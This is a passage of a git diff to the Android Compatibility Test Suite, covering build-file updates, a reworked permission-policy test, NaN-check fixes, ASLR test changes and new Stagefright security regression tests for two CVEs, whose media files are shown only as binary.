+            if (expectedProtectionFlags != declaredProtectionFlags) {
+                offendingList.add(
+                        String.format(
+                                "Permission %s invalid enforced protection %x, expected %x",
+                                expectedPermissionName,
+                                declaredProtectionFlags,
+                                expectedProtectionFlags));
+            }
 
             // OEMs cannot change permission grouping
             if ((declaredPermission.protectionLevel & PermissionInfo.PROTECTION_DANGEROUS) != 0) {
-                assertEquals("Permission " + expectedPermissionName + " not in correct group",
-                        expectedPermission.group, declaredPermission.group);
-                assertTrue("Permission group " + expectedPermission.group + "must be defined",
-                        declaredGroupsSet.contains(declaredPermission.group));
+                if (!expectedPermission.group.equals(declaredPermission.group)) {
+                    offendingList.add(
+                            "Permission " + expectedPermissionName + " not in correct group");
+                }
+
+                if (!declaredGroupsSet.contains(declaredPermission.group)) {
+                    offendingList.add(
+                            "Permission group " + expectedPermission.group + "must be defined");
+                }
             }
         }
 
         // OEMs cannot define permissions in the platform namespace
         for (String permission : declaredPermissionsMap.keySet()) {
-            assertFalse("Cannot define permission in android namespace:" + permission,
-                    permission.startsWith(PLATFORM_ROOT_NAMESPACE));
+            if (permission.startsWith(PLATFORM_ROOT_NAMESPACE)) {
+                offendingList.add("Cannot define permission in android namespace:" + permission);
+            }
         }
 
         // OEMs cannot define groups in the platform namespace
         for (PermissionGroupInfo declaredGroup : declaredGroups) {
             if (!expectedPermissionGroups.contains(declaredGroup.name)) {
-                assertFalse("Cannot define group " + declaredGroup.name + " in android namespace",
-                        declaredGroup.name != null
-                                && declaredGroup.packageName.equals(PLATFORM_PACKAGE_NAME)
-                                && declaredGroup.name.startsWith(PLATFORM_ROOT_NAMESPACE));
+                if (declaredGroup.name != null) {
+                    if (declaredGroup.packageName.equals(PLATFORM_PACKAGE_NAME)
+                            || declaredGroup.name.startsWith(PLATFORM_ROOT_NAMESPACE)) {
+                        offendingList.add(
+                                "Cannot define group "
+                                        + declaredGroup.name
+                                        + ", package "
+                                        + declaredGroup.packageName
+                                        + " in android namespace");
+                    }
+                }
             }
         }
 
         // OEMs cannot define new ephemeral permissions
         for (String permission : declaredPermissionsMap.keySet()) {
             PermissionInfo info = declaredPermissionsMap.get(permission);
-            assertFalse("Cannot define new ephemeral permission " + permission,
-                    (info.protectionLevel & PermissionInfo.PROTECTION_FLAG_EPHEMERAL) != 0);
+            if ((info.protectionLevel & PermissionInfo.PROTECTION_FLAG_EPHEMERAL) != 0) {
+                offendingList.add("Cannot define new ephemeral permission " + permission);
+            }
         }
+
+        // Fail on any offending item
+        String errMsg =
+                String.format(
+                        "Platform Permission Policy Unaltered:\n%s",
+                        TextUtils.join("\n", offendingList));
+        assertTrue(errMsg, offendingList.isEmpty());
     }
 
     private List<PermissionInfo> loadExpectedPermissions() throws Exception {
@@ -214,4 +263,21 @@
         }
         return protectionLevel;
     }
+
+    private static Date parseDate(String date) {
+        Date patchDate = new Date();
+        try {
+            SimpleDateFormat template = new SimpleDateFormat("yyyy-MM-dd");
+            patchDate = template.parse(date);
+        } catch (ParseException e) {
+        }
+
+        return patchDate;
+    }
+
+    private boolean shouldSkipPermission(String permissionName) {
+        return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE) &&
+                HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PERMISSION.equals(permissionName);
+
+    }
 }
diff --git a/tests/tests/preference/Android.mk b/tests/tests/preference/Android.mk
index fa6f9c9..c56ced8 100644
--- a/tests/tests/preference/Android.mk
+++ b/tests/tests/preference/Android.mk
@@ -21,9 +21,9 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/preference2/Android.mk b/tests/tests/preference2/Android.mk
index c6dca9e..b5fb0a2 100644
--- a/tests/tests/preference2/Android.mk
+++ b/tests/tests/preference2/Android.mk
@@ -23,13 +23,14 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
     compatibility-device-util \
     mockito-target-minus-junit4 \
     ub-uiautomator \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/print/Android.mk b/tests/tests/print/Android.mk
index 405c89e..527fe48 100644
--- a/tests/tests/print/Android.mk
+++ b/tests/tests/print/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java b/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
index fe6fce1..38ba4dd 100644
--- a/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
@@ -54,6 +54,7 @@
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.List;
 
 /**
@@ -595,7 +596,7 @@
                     WriteResultCallback callback = (WriteResultCallback) args[3];
 
                     if (writeCorruptedFile[0]) {
-                        Log.i(LOG_TAG, "write corrupted file " + pages);
+                        Log.i(LOG_TAG, "write corrupted file " + Arrays.toString(pages));
 
                         FileOutputStream os = new FileOutputStream(fd.getFileDescriptor());
                         for (int i = 0; i < 10; i++) {
diff --git a/tests/tests/proto/Android.mk b/tests/tests/proto/Android.mk
index 23dba67..58126e2 100644
--- a/tests/tests/proto/Android.mk
+++ b/tests/tests/proto/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_PACKAGE_NAME := CtsProtoTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 #LOCAL_SDK_VERSION := current
 LOCAL_JAVA_LIBRARIES += android.test.runner
diff --git a/tests/tests/provider/Android.mk b/tests/tests/provider/Android.mk
index 2298378..c1d1058 100644
--- a/tests/tests/provider/Android.mk
+++ b/tests/tests/provider/Android.mk
@@ -26,17 +26,16 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
-LOCAL_JAVA_LIBRARIES := android.test.runner telephony-common
+LOCAL_JAVA_LIBRARIES := android.test.mock legacy-android-test telephony-common
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     android-support-v4 \
     compatibility-device-util \
     ctstestrunner \
     ub-uiautomator \
-    junit \
-    legacy-android-test
+    junit
 
 LOCAL_JNI_SHARED_LIBRARIES := libcts_jni libnativehelper_compat_libc++
 
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
index 62a041b..b0f5426 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
@@ -125,10 +125,11 @@
             fail("There is no sdcard attached! " + e.getMessage());
         }
         assertNotNull(stringUrl);
-        mRowsAdded.add(Uri.parse(stringUrl));
+        Uri stringUri = Uri.parse(stringUrl);
+        mRowsAdded.add(stringUri);
 
         // get the original image id and path
-        Cursor c = mContentResolver.query(Uri.parse(stringUrl),
+        Cursor c = mContentResolver.query(stringUri,
                 new String[]{ Media._ID, Media.DATA }, null, null, null);
         c.moveToFirst();
         long imageId = c.getLong(c.getColumnIndex(Media._ID));
@@ -165,8 +166,8 @@
         // deleting the image from the database also deletes the image file, and the
         // corresponding entry in the thumbnail table, which in turn triggers deletion
         // of the thumbnail file on disk
-        mContentResolver.delete(Uri.parse(stringUrl), null, null);
-        mRowsAdded.remove(stringUrl);
+        mContentResolver.delete(stringUri, null, null);
+        mRowsAdded.remove(stringUri);
 
         assertFalse("image file should no longer exist", new File(imagePath).exists());
 
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java
index ffd3406..a923584 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java
@@ -239,7 +239,7 @@
                 return;
             if (expected != null && Arrays.equals(actual, expected))
                 return;
-            throw new ComparisonFailure(message, expected.toString(), actual.toString());
+            throw new ComparisonFailure(message, Arrays.toString(expected), Arrays.toString(actual));
         }
 
         private int getColumnIndex(String columnName) {
diff --git a/tests/tests/renderscript/Android.mk b/tests/tests/renderscript/Android.mk
index 00e751a..a4ccf42 100644
--- a/tests/tests/renderscript/Android.mk
+++ b/tests/tests/renderscript/Android.mk
@@ -28,7 +28,10 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner xmp_toolkit
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    xmp_toolkit \
+    legacy-android-test
 LOCAL_JNI_SHARED_LIBRARIES := libcoremathtestcpp_jni
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
@@ -38,7 +41,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/renderscript/libcoremathtestcpp/Android.mk b/tests/tests/renderscript/libcoremathtestcpp/Android.mk
index ad528571..113bc90 100644
--- a/tests/tests/renderscript/libcoremathtestcpp/Android.mk
+++ b/tests/tests/renderscript/libcoremathtestcpp/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_TAGS := optional
 LOCAL_SRC_FILES := CoreMathTestJni.cpp
 
-LOCAL_CFLAGS := -std=c++11
+LOCAL_CFLAGS := -std=c++11 -Wall -Werror
 
 LOCAL_SDK_VERSION := 21
 LOCAL_NDK_STL_VARIANT := stlport_static
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/CoreMathVerifier.java b/tests/tests/renderscript/src/android/renderscript/cts/CoreMathVerifier.java
index bc13144..cf535e8 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/CoreMathVerifier.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/CoreMathVerifier.java
@@ -3045,9 +3045,9 @@
         RemquoResult expected = remquo(args.inNumerator, args.inDenominator);
         // If the expected remainder is NaN, we don't validate the quotient.  It's because of
         // a division by zero.
-        if (expected.remainder != expected.remainder) {
+        if (Float.isNaN(expected.remainder)) {
             // Check that the value we got is NaN too.
-            if (args.out == args.out) {
+            if (!Float.isNaN(args.out)) {
                 return "Expected a remainder of NaN but got " +  Float.toString(args.out);
             }
         } else {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceForEachTest.java b/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceForEachTest.java
index 06eb606..5f17655 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceForEachTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceForEachTest.java
@@ -125,4 +125,11 @@
         baselineOutputAlloc.copyTo(baselineOutputArray);
         checkArray(baselineOutputArray, testOutputArray, Y, X, X);
     }
+
+    public void testConsistency() {
+        s.invoke_testConsistency(testInputAlloc, testOutputAlloc);
+        mRS.finish();
+        waitForMessage();
+        checkForErrors();
+    }
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/Target.java b/tests/tests/renderscript/src/android/renderscript/cts/Target.java
index 55d3712..3ac4ff8 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/Target.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/Target.java
@@ -341,7 +341,7 @@
             mHasRange = false;
             mValue = values[0];
             for (double f: values) {
-                if (f != f) {
+                if (Double.isNaN(f)) {
                     mCanBeNan = true;
                     continue;
                 }
@@ -573,7 +573,7 @@
         public boolean couldBe(double a, double extraAllowedError) {
             //Log.w("Floaty.couldBe", "Can " + Double.toString(a) + " be " + toString() + "? ");
             // Handle the input being a NaN.
-            if (a != a) {
+            if (Double.isNaN(a)) {
                 //Log.w("couldBe", "true because is Naan");
                 return mCanBeNan;
             }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rs b/tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rs
index 5e35aa3..c3e322b 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rs
+++ b/tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rs
@@ -27,9 +27,9 @@
 }
 
 void RS_KERNEL bar(int x, int y) {
-  int a = rsGetElementAt_int(gAllocOut, x, y);
-  a++;
-  rsSetElementAt_int(gAllocOut, a, x, y);
+    int a = rsGetElementAt_int(gAllocOut, x, y);
+    a++;
+    rsSetElementAt_int(gAllocOut, a, x, y);
 }
 
 void testSingleInput(rs_allocation in, rs_allocation out) {
@@ -58,3 +58,19 @@
     opts.yEnd = dimY;
     rsForEachWithOptions(bar, &opts);
 }
+
+void testConsistency(rs_allocation in, rs_allocation out) {
+    rsForEach(foo, in, out);
+    const uint32_t dimX = rsAllocationGetDimX(in);
+    const uint32_t dimY = rsAllocationGetDimY(in);
+    for (int i = 0; i < dimX; i++) {
+        for (int j = 0; j < dimY; j++) {
+            if (rsGetElementAt_int(out, i, j) != 2 * rsGetElementAt_int(in, i, j)) {
+                rsSendToClientBlocking(RS_MSG_TEST_FAILED);
+                return;
+            }
+        }
+    }
+    rsSendToClientBlocking(RS_MSG_TEST_PASSED);
+}
+
diff --git a/tests/tests/renderscriptlegacy/Android.mk b/tests/tests/renderscriptlegacy/Android.mk
index f29a290..fb93d05 100644
--- a/tests/tests/renderscriptlegacy/Android.mk
+++ b/tests/tests/renderscriptlegacy/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := 19
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/rsblas/Android.mk b/tests/tests/rsblas/Android.mk
index 700fba3..d67ba09 100644
--- a/tests/tests/rsblas/Android.mk
+++ b/tests/tests/rsblas/Android.mk
@@ -27,7 +27,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 LOCAL_JNI_SHARED_LIBRARIES := libbnnmdata_jni
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
@@ -35,7 +35,7 @@
 LOCAL_RENDERSCRIPT_FLAGS := -Wno-error=deprecated-declarations
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/rsblas/libbnnmdata/Android.mk b/tests/tests/rsblas/libbnnmdata/Android.mk
index bbfd289..6a5e542 100644
--- a/tests/tests/rsblas/libbnnmdata/Android.mk
+++ b/tests/tests/rsblas/libbnnmdata/Android.mk
@@ -14,7 +14,6 @@
 
 LOCAL_PATH := $(call my-dir)
 include $(CLEAR_VARS)
-LOCAL_CLANG := true
 
 LOCAL_MODULE := libbnnmdata_jni
 LOCAL_MODULE_TAGS := optional
@@ -22,6 +21,7 @@
 LOCAL_SDK_VERSION := 23
 LOCAL_NDK_STL_VARIANT := c++_static
 
+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-const-variable
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
 
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/rscpp/Android.mk b/tests/tests/rscpp/Android.mk
index bdcf840..e5a7fdc 100644
--- a/tests/tests/rscpp/Android.mk
+++ b/tests/tests/rscpp/Android.mk
@@ -28,7 +28,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 LOCAL_JNI_SHARED_LIBRARIES := librscpptest_jni
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
@@ -36,7 +36,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 include $(LOCAL_PATH)/librscpptest/Android.mk
diff --git a/tests/tests/rscpp/librscpptest/Android.mk b/tests/tests/rscpp/librscpptest/Android.mk
index 36eafe2..604072c 100644
--- a/tests/tests/rscpp/librscpptest/Android.mk
+++ b/tests/tests/rscpp/librscpptest/Android.mk
@@ -18,7 +18,6 @@
 LOCAL_PATH := $(call my-dir)
 include $(CLEAR_VARS)
 LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-LOCAL_CLANG := true
 LOCAL_MODULE := librscpptest_jni
 LOCAL_MODULE_TAGS := optional
 
@@ -46,6 +45,7 @@
 LOCAL_C_INCLUDES += frameworks/rs
 
 LOCAL_CPPFLAGS := -std=c++11
+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
 
 LOCAL_SHARED_LIBRARIES := libdl liblog
 LOCAL_STATIC_LIBRARIES := libRScpp_static
diff --git a/tests/tests/sax/Android.mk b/tests/tests/sax/Android.mk
index 498aa40..cf354df 100644
--- a/tests/tests/sax/Android.mk
+++ b/tests/tests/sax/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -30,6 +30,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
index ddd78f1..4fb95ee 100644
--- a/tests/tests/security/Android.mk
+++ b/tests/tests/security/Android.mk
@@ -51,7 +51,7 @@
 #LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/security/jni/Android.mk b/tests/tests/security/jni/Android.mk
index 118744e..fe4f779 100644
--- a/tests/tests/security/jni/Android.mk
+++ b/tests/tests/security/jni/Android.mk
@@ -46,4 +46,7 @@
 LOCAL_C_INCLUDES += ndk/sources/cpufeatures
 LOCAL_STATIC_LIBRARIES := cpufeatures
 
+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
+LOCAL_CFLAGS += -Wno-sign-compare -Wno-unused-label -Wno-unused-variable
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/security/jni/android_security_cts_EncryptionTest.cpp b/tests/tests/security/jni/android_security_cts_EncryptionTest.cpp
index 136b52b..47f760a 100644
--- a/tests/tests/security/jni/android_security_cts_EncryptionTest.cpp
+++ b/tests/tests/security/jni/android_security_cts_EncryptionTest.cpp
@@ -18,7 +18,7 @@
 #include <cutils/log.h>
 #include <cutils/properties.h>
 #include <jni.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
 #include <openssl/aes.h>
 #include <openssl/cpu.h>
 #include <openssl/evp.h>
diff --git a/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp b/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp
index 9b8016e..8514f8b 100644
--- a/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp
+++ b/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp
@@ -20,6 +20,7 @@
 #include <stdlib.h>
 #include <string.h>
 #include <sys/stat.h>
+#include <sys/sysmacros.h>
 
 /*
  * Native methods used by
diff --git a/tests/tests/security/jni/android_security_cts_SELinuxTest.cpp b/tests/tests/security/jni/android_security_cts_SELinuxTest.cpp
index 1cfde0a..c7975ec 100644
--- a/tests/tests/security/jni/android_security_cts_SELinuxTest.cpp
+++ b/tests/tests/security/jni/android_security_cts_SELinuxTest.cpp
@@ -15,10 +15,10 @@
  */
 
 #include <jni.h>
+#include <nativehelper/JNIHelp.h>
+#include <nativehelper/ScopedLocalRef.h>
+#include <nativehelper/ScopedUtfChars.h>
 #include <selinux/selinux.h>
-#include <JNIHelp.h>
-#include <ScopedLocalRef.h>
-#include <ScopedUtfChars.h>
 
 #include <memory>
 
diff --git a/tests/tests/security/res/raw/cve_2016_6712.mp3 b/tests/tests/security/res/raw/cve_2016_6712.mp3
new file mode 100644
index 0000000..7804a75
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2016_6712.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0728.mp4 b/tests/tests/security/res/raw/cve_2017_0728.mp4
new file mode 100644
index 0000000..372eb69
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0728.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/AslrTest.java b/tests/tests/security/src/android/security/cts/AslrTest.java
index cd92611..bed8e32 100644
--- a/tests/tests/security/src/android/security/cts/AslrTest.java
+++ b/tests/tests/security/src/android/security/cts/AslrTest.java
@@ -52,7 +52,7 @@
         String result = null;
         try (BufferedReader reader = new BufferedReader(
                 new InputStreamReader(new ParcelFileDescriptor.AutoCloseInputStream(pfd)))) {
-            Pattern p = Pattern.compile("^([a-f0-9]+)\\-.+\\[" + mappingName + "\\]$");
+            Pattern p = Pattern.compile("^([a-f0-9]+).*" + mappingName + ".*");
             String line;
 
             while ((line = reader.readLine()) != null) {
@@ -100,7 +100,8 @@
     }
 
     public void testRandomization() throws Exception {
-        testMappingEntropy("stack");
+        testMappingEntropy("\\[stack\\]");
+        testMappingEntropy("/system/bin/");
     }
 
     public void testOneExecutableIsPie() throws IOException {
diff --git a/tests/tests/security/src/android/security/cts/CryptoProviderWorkaroundTest.java b/tests/tests/security/src/android/security/cts/CryptoProviderWorkaroundTest.java
deleted file mode 100644
index 861c443..0000000
--- a/tests/tests/security/src/android/security/cts/CryptoProviderWorkaroundTest.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.fail;
-
-import dalvik.system.VMRuntime;
-import java.security.NoSuchProviderException;
-import java.security.SecureRandom;
-import java.security.Security;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-/**
- * http://b/28550092 : Removal of "Crypto" provider in N caused application compatibility
- * issues for callers of SecureRandom. To improve compatibility the provider is not registered
- * as a JCA Provider obtainable via Security.getProvider() but is made available for
- * SecureRandom.getInstance() iff the application targets API <= 23.
- */
-@RunWith(JUnit4.class)
-public class CryptoProviderWorkaroundTest {
-    @Test
-    public void cryptoProvider_withWorkaround_Success() throws Exception {
-        // Assert that SecureRandom is still using the default value. Sanity check.
-        assertEquals(SecureRandom.DEFAULT_SDK_TARGET_FOR_CRYPTO_PROVIDER_WORKAROUND,
-                SecureRandom.getSdkTargetForCryptoProviderWorkaround());
-
-        try {
-            // Modify the maximum target SDK to apply the workaround, thereby enabling the
-            // workaround for the current SDK and enabling it to be tested.
-            SecureRandom.setSdkTargetForCryptoProviderWorkaround(
-                    VMRuntime.getRuntime().getTargetSdkVersion());
-
-            // Assert that the crypto provider is not installed...
-            assertNull(Security.getProvider("Crypto"));
-            SecureRandom sr = SecureRandom.getInstance("SHA1PRNG", "Crypto");
-            assertNotNull(sr);
-            // ...but we can get a SecureRandom from it...
-            assertEquals("org.apache.harmony.security.provider.crypto.CryptoProvider",
-                    sr.getProvider().getClass().getName());
-            // ...yet it's not installed. So the workaround worked.
-            assertNull(Security.getProvider("Crypto"));
-        } finally {
-            // Reset the target SDK for the workaround to the default / real value.
-            SecureRandom.setSdkTargetForCryptoProviderWorkaround(
-                    SecureRandom.DEFAULT_SDK_TARGET_FOR_CRYPTO_PROVIDER_WORKAROUND);
-        }
-    }
-
-    @Test
-    public void cryptoProvider_withoutWorkaround_Failure() throws Exception {
-        // Assert that SecureRandom is still using the default value. Sanity check.
-        assertEquals(SecureRandom.DEFAULT_SDK_TARGET_FOR_CRYPTO_PROVIDER_WORKAROUND,
-                SecureRandom.getSdkTargetForCryptoProviderWorkaround());
-
-        try {
-            // We set the limit SDK for the workaround at the previous one, indicating that the
-            // workaround shouldn't be in place.
-            SecureRandom.setSdkTargetForCryptoProviderWorkaround(
-                    VMRuntime.getRuntime().getTargetSdkVersion() - 1);
-
-            SecureRandom sr = SecureRandom.getInstance("SHA1PRNG", "Crypto");
-            fail("Should throw " + NoSuchProviderException.class.getName());
-        } catch(NoSuchProviderException expected) {
-            // The workaround doesn't work. As expected.
-        } finally {
-            // Reset the target SDK for the workaround to the default / real value.
-            SecureRandom.setSdkTargetForCryptoProviderWorkaround(
-                    SecureRandom.DEFAULT_SDK_TARGET_FOR_CRYPTO_PROVIDER_WORKAROUND);
-        }
-    }
-}
diff --git a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
index 84dd7a3..8903aec 100644
--- a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
+++ b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
@@ -332,7 +332,8 @@
                     String[] fields = line.split("\\s+");
                     final int expectedNumColumns = 12;
                     assertTrue(procFilePath + " should have at least " + expectedNumColumns
-                            + " columns of output " + fields, fields.length >= expectedNumColumns);
+                            + " columns of output " + Arrays.toString(fields),
+                            fields.length >= expectedNumColumns);
 
                     String state = fields[3];
                     int uid = Integer.parseInt(fields[7]);
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index c3a4ae9..4c8e545 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -74,6 +74,11 @@
      ***********************************************************/
 
     @SecurityTest
+    public void testStagefright_cve_2017_0728() throws Exception {
+        doStagefrightTest(R.raw.cve_2017_0728);
+    }
+
+    @SecurityTest
     public void testStagefright_bug_62187433() throws Exception {
         doStagefrightTest(R.raw.bug_62187433);
     }
@@ -227,6 +232,11 @@
     }
 
     @SecurityTest
+    public void testStagefright_cve_2016_6712() throws Exception {
+        doStagefrightTest(R.raw.cve_2016_6712);
+    }
+
+    @SecurityTest
     public void testStagefright_bug_34097672() throws Exception {
         doStagefrightTest(R.raw.bug_34097672);
     }
diff --git a/tests/tests/security/testeffect/Android.mk b/tests/tests/security/testeffect/Android.mk
index a7e3cac..0784b5d 100644
--- a/tests/tests/security/testeffect/Android.mk
+++ b/tests/tests/security/testeffect/Android.mk
@@ -28,5 +28,6 @@
 LOCAL_C_INCLUDES := \
   $(call include-path-for, audio-effects)
 
+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter -Wno-gnu-designator
 
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/selinux/selinuxTargetSdk/Android.mk b/tests/tests/selinux/selinuxTargetSdk/Android.mk
index cfbe04c..d2a69f8 100755
--- a/tests/tests/selinux/selinuxTargetSdk/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdk/Android.mk
@@ -17,8 +17,11 @@
 include $(CLEAR_VARS)
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
